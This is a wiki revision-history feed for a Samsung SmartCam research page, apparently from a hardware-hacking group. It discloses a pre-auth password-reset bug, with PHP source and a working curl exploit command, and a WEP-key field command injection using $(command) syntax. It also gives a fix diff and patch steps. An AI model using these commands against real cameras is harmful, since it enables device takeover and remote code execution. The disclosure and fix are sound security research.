<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://wiki.exploitee.rs/index.php?action=history&amp;feed=atom&amp;title=Samsung_SmartCam%E2%80%8B</id>
	<title>Samsung SmartCam​ - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.exploitee.rs/index.php?action=history&amp;feed=atom&amp;title=Samsung_SmartCam%E2%80%8B"/>
	<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=Samsung_SmartCam%E2%80%8B&amp;action=history"/>
	<updated>2026-04-30T10:47:12Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.0-alpha</generator>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=Samsung_SmartCam%E2%80%8B&amp;diff=2656&amp;oldid=prev</id>
		<title>Zenofex at 12:55, 14 January 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=Samsung_SmartCam%E2%80%8B&amp;diff=2656&amp;oldid=prev"/>
		<updated>2017-01-14T12:55:03Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;a href=&quot;https://wiki.exploitee.rs/index.php?title=Samsung_SmartCam%E2%80%8B&amp;amp;diff=2656&amp;amp;oldid=2578&quot;&gt;Show changes&lt;/a&gt;</summary>
		<author><name>Zenofex</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=Samsung_SmartCam%E2%80%8B&amp;diff=2578&amp;oldid=prev</id>
		<title>Resno: Text replacement - &quot;gtvcom-20&quot; to &quot;exploiteers-20&quot;</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=Samsung_SmartCam%E2%80%8B&amp;diff=2578&amp;oldid=prev"/>
		<updated>2016-02-07T01:22:40Z</updated>

		<summary type="html">&lt;p&gt;Text replacement - &amp;quot;gtvcom-20&amp;quot; to &amp;quot;exploiteers-20&amp;quot;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;en&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 01:22, 7 February 2016&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l7&quot;&gt;Line 7:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 7:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== Purchase ==&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== Purchase ==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[http://www.amazon.com/gp/product/B009XP1HS2/ref=as_li_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=B009XP1HS2&amp;amp;linkCode=as2&amp;amp;tag=&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;gtvcom&lt;/del&gt;-20&amp;amp;linkId=NR5FUPSGM77MORIT Purchase the Samsung SmartCam​ at Amazon]&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[http://www.amazon.com/gp/product/B009XP1HS2/ref=as_li_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=B009XP1HS2&amp;amp;linkCode=as2&amp;amp;tag=&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;exploiteers&lt;/ins&gt;-20&amp;amp;linkId=NR5FUPSGM77MORIT Purchase the Samsung SmartCam​ at Amazon]&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== Pictures ==&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== Pictures ==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>Resno</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=Samsung_SmartCam%E2%80%8B&amp;diff=2228&amp;oldid=prev</id>
		<title>Zenofex at 10:49, 17 August 2014</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=Samsung_SmartCam%E2%80%8B&amp;diff=2228&amp;oldid=prev"/>
		<updated>2014-08-17T10:49:31Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;en&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 10:49, 17 August 2014&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l93&quot;&gt;Line 93:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 93:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;If the camera is connected to the network through a network cable, the command will not execute until the cable is unplugged. Otherwise the command will execute instantly.&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;If the camera is connected to the network through a network cable, the command will not execute until the cable is unplugged. Otherwise the command will execute instantly.&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;== Demo ==&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;{{#ev:youtube|2GCV96FTbOU}}&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== Fixing Password Reset &amp;quot;Pre-Auth&amp;quot; ==&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== Fixing Password Reset &amp;quot;Pre-Auth&amp;quot; ==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>Zenofex</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=Samsung_SmartCam%E2%80%8B&amp;diff=2184&amp;oldid=prev</id>
		<title>Zenofex: 1 revision: Moving from DC22 to main site.</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=Samsung_SmartCam%E2%80%8B&amp;diff=2184&amp;oldid=prev"/>
		<updated>2014-08-17T08:22:39Z</updated>

		<summary type="html">&lt;p&gt;1 revision: Moving from DC22 to main site.&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;en&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 08:22, 17 August 2014&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;4&quot; class=&quot;diff-notice&quot; lang=&quot;en&quot;&gt;&lt;div class=&quot;mw-diff-empty&quot;&gt;(No difference)&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;!-- diff cache key gtvhack_wiki:diff:1.41:old-2183:rev-2184 --&gt;
&lt;/table&gt;</summary>
		<author><name>Zenofex</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=Samsung_SmartCam%E2%80%8B&amp;diff=2183&amp;oldid=prev</id>
		<title>Zenofex at 11:58, 5 August 2014</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=Samsung_SmartCam%E2%80%8B&amp;diff=2183&amp;oldid=prev"/>
		<updated>2014-08-05T11:58:50Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;__FORCETOC__&lt;br /&gt;
{{Disclaimer}}&lt;br /&gt;
[[File:Samsung-smartcam.jpg|200px|left|thumb]]&lt;br /&gt;
[[Category:Cameras]]&lt;br /&gt;
This page will be dedicated to a general overview, descriptions, and information related to the Samsung SmartCam​.&lt;br /&gt;
&lt;br /&gt;
== Purchase ==&lt;br /&gt;
Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.&lt;br /&gt;
[http://www.amazon.com/gp/product/B009XP1HS2/ref=as_li_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=B009XP1HS2&amp;amp;linkCode=as2&amp;amp;tag=gtvcom-20&amp;amp;linkId=NR5FUPSGM77MORIT Purchase the Samsung SmartCam​ at Amazon]&lt;br /&gt;
&lt;br /&gt;
== Pictures ==&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
File:Samsung_Smartcam_SNH1011_000.jpg&lt;br /&gt;
File:Samsung_Smartcam_SNH1011_001.jpg&lt;br /&gt;
File:Samsung_Smartcam_SNH1011_002.jpg&lt;br /&gt;
File:Samsung_Smartcam_SNH1011_003.jpg&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UART ==&lt;br /&gt;
The pin-out for UART can be found on the images below.&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
File:Smartcam-Board-UART-SNH-1010.png&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Password Reset &amp;quot;Pre-Auth&amp;quot; ==&lt;br /&gt;
This device suffers from a from a bug where the administrator password can be changed without knowing the original. This occurs because the script which sets up the camera and creates the administrators initial password is able to be called after the password has already been set up.&lt;br /&gt;
&lt;br /&gt;
This can be seen from this sample code taken from version firmware &amp;quot;1.17_140507&amp;quot; &lt;br /&gt;
/work/www/htdocs/classes/class_admin_privatekey.php:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$pageData = explode(&amp;quot;;&amp;quot;, $_POST[&amp;quot;data&amp;quot;]);&lt;br /&gt;
...&lt;br /&gt;
}else if($pageData[0] == &amp;quot;NEW&amp;quot;){        &lt;br /&gt;
        $result = requestToCamera(CMD_USER, ACTION_GET_ALL, TYPE_REQUEST, null);&lt;br /&gt;
        if($result[0] == &amp;quot;OK&amp;quot; &amp;amp;&amp;amp; $result[1] != null){&lt;br /&gt;
                $recvData = $result[1];&lt;br /&gt;
                $sendData = array_slice($recvData, 0, 40);&lt;br /&gt;
                &lt;br /&gt;
                str2byte($sendData, $pageData[1], 17, 16);&lt;br /&gt;
                requestToCamera(CMD_USER, ACTION_SET, TYPE_REQUEST, $sendData);&lt;br /&gt;
                $_SESSION[&amp;quot;PRIVATE_KEY&amp;quot;] = $pageData[1];&lt;br /&gt;
                echo &amp;quot;OK&amp;quot;;                      &lt;br /&gt;
        }else{&lt;br /&gt;
                echo &amp;quot;NOK;&amp;quot; . $result[1];&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
As you can see the CREATE section does not check whether the password has already been set.&lt;br /&gt;
&lt;br /&gt;
This is in comparison to the check process from the same file.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$pageData = explode(&amp;quot;;&amp;quot;, $_POST[&amp;quot;data&amp;quot;]);&lt;br /&gt;
...&lt;br /&gt;
if($pageData[0] == &amp;quot;CHECK&amp;quot;){&lt;br /&gt;
        $result = requestToCamera(CMD_USER, ACTION_GET_ALL, TYPE_REQUEST, null);&lt;br /&gt;
        if($result[0] == &amp;quot;OK&amp;quot; &amp;amp;&amp;amp; $result[1] != null){&lt;br /&gt;
                $recvData = $result[1];&lt;br /&gt;
                $privateKey = byte2str($recvData, 17, 16);&lt;br /&gt;
                if($privateKey == &amp;quot;&amp;quot;){&lt;br /&gt;
                        echo &amp;quot;NOKEY&amp;quot;;&lt;br /&gt;
                }else{&lt;br /&gt;
                        if($pageData[1] == $privateKey){&lt;br /&gt;
                                $_SESSION[&amp;quot;LOGIN_STATUS&amp;quot;] = &amp;quot;TRUE&amp;quot;;&lt;br /&gt;
                                $_SESSION[&amp;quot;PRIVATE_KEY&amp;quot;] = $pageData[1];&lt;br /&gt;
                                echo &amp;quot;OK&amp;quot;;&lt;br /&gt;
                        }else{&lt;br /&gt;
                                echo &amp;quot;NOK;Private key is wrong.&amp;quot;;&lt;br /&gt;
                        }&lt;br /&gt;
                }               &lt;br /&gt;
        }else{&lt;br /&gt;
                echo &amp;quot;NOK;&amp;quot; . $result[1];&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This can be exploited with the following curl command.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;curl &amp;#039;http://&amp;lt;IP-OF-CAMERA&amp;gt;/classes/class_admin_privatekey.php&amp;#039; --data &amp;#039;data=NEW%3B&amp;lt;NEW-PASSWORD&amp;gt;&amp;#039; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Wireless Network WEP Key Command Injection ==&lt;br /&gt;
This devices suffers from a command sensitization bug that can be exploited from the web interface on the camera through the wireless network WEP key setup field.&lt;br /&gt;
# Login to camera&amp;#039;s web interface.&lt;br /&gt;
# Click the &amp;quot;setup&amp;quot; tab&lt;br /&gt;
# Choose network setting from the left menu&lt;br /&gt;
# Now choose &amp;quot;Wireless Network&amp;quot;&lt;br /&gt;
# Enable the wireless network if its not already enabled by choosing &amp;quot;Wireless On&amp;quot;&lt;br /&gt;
# Check &amp;quot;Other WiFi Networks&amp;quot;&lt;br /&gt;
# Bubble in &amp;quot;WEP&amp;quot; in the security field&lt;br /&gt;
# In the &amp;quot;Network SSID&amp;quot; field enter anything you&amp;#039;d like&lt;br /&gt;
# In the &amp;quot;Password&amp;quot; field, enter in the command you would like to execute within the following syntax: &amp;lt;code&amp;gt;$(commandhere)&amp;lt;/code&amp;gt;&lt;br /&gt;
# Click Apply.&lt;br /&gt;
&lt;br /&gt;
If the camera is connected to the network through a network cable, the command will not execute until the cable is unplugged. Otherwise the command will execute instantly.&lt;br /&gt;
&lt;br /&gt;
== Fixing Password Reset &amp;quot;Pre-Auth&amp;quot; ==&lt;br /&gt;
The fix for the pre-auth bug is the check to see if a administrator has yet been set. You can see our solution in the diff below:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
--- /work/www/htdocs/classes/class_admin_privatekey.php&lt;br /&gt;
+++ /work/www/htdocs/classes/class_admin_privatekey.php&lt;br /&gt;
@@ -43,12 +43,17 @@&lt;br /&gt;
        $result = requestToCamera(CMD_USER, ACTION_GET_ALL, TYPE_REQUEST, null);&lt;br /&gt;
        if($result[0] == &amp;quot;OK&amp;quot; &amp;amp;&amp;amp; $result[1] != null){&lt;br /&gt;
                $recvData = $result[1];&lt;br /&gt;
-               $sendData = array_slice($recvData, 0, 40);&lt;br /&gt;
-               &lt;br /&gt;
-               str2byte($sendData, $pageData[1], 17, 16);&lt;br /&gt;
-               requestToCamera(CMD_USER, ACTION_SET, TYPE_REQUEST, $sendData);&lt;br /&gt;
-               $_SESSION[&amp;quot;PRIVATE_KEY&amp;quot;] = $pageData[1];&lt;br /&gt;
-               echo &amp;quot;OK&amp;quot;;                      &lt;br /&gt;
+                $privateKey = byte2str($recvData, 17, 16);&lt;br /&gt;
+                if($privateKey == &amp;quot;&amp;quot;){&lt;br /&gt;
+                       $sendData = array_slice($recvData, 0, 40);&lt;br /&gt;
+                       &lt;br /&gt;
+                       str2byte($sendData, $pageData[1], 17, 16);&lt;br /&gt;
+                       requestToCamera(CMD_USER, ACTION_SET, TYPE_REQUEST, $sendData);&lt;br /&gt;
+                       $_SESSION[&amp;quot;PRIVATE_KEY&amp;quot;] = $pageData[1];&lt;br /&gt;
+                       echo &amp;quot;OK&amp;quot;;                      &lt;br /&gt;
+               }else{&lt;br /&gt;
+                       echo &amp;quot;NOK&amp;quot;;&lt;br /&gt;
+               }       &lt;br /&gt;
        }else{&lt;br /&gt;
                echo &amp;quot;NOK;&amp;quot; . $result[1];&lt;br /&gt;
        }&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;Applying patch:&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
This patch can be installed with the following process:&lt;br /&gt;
# Remount /work directory: &amp;lt;code&amp;gt;mount -o,remount -rw /work&amp;lt;/code&amp;gt;&lt;br /&gt;
# Get the patch: &amp;lt;code&amp;gt;wget -O /tmp/smartcam-preauth-fix.patch http://download.gtvhacker.com/file/samsung/smartcam/smartcam-preauth-fix.patch&amp;lt;/code&amp;gt;&lt;br /&gt;
# Run the patch: &amp;lt;code&amp;gt;patch -p0 &amp;lt; /tmp/smartcam-preauth-fix.patch&amp;lt;/code&amp;gt;&lt;/div&gt;</summary>
		<author><name>Zenofex</name></author>
	</entry>
</feed>